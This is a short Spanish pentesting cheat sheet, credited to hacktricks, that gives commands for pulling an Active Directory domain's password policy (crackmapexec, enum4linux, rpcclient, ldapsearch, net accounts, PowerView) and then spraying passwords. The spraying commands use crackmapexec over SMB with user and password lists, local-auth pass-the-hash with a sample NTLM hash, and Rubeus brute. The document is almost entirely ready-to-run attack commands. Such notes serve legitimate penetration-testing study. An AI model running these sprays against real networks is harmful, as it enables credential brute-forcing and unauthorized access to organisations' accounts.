Si también tenemos alguna credencial o una shell podemos sacar la política de la password con los siguientes comandos: (sacado de hacktricks)
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linux -u 'username' -p 'password' -P <IP>
rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# From Windows
net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
Spraying
Primero pongo las técnicas para Linux.
Crackmapexec
crackmapexec smb 192.168.218.0/24 -u 'allimos' -p 'Password1'
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>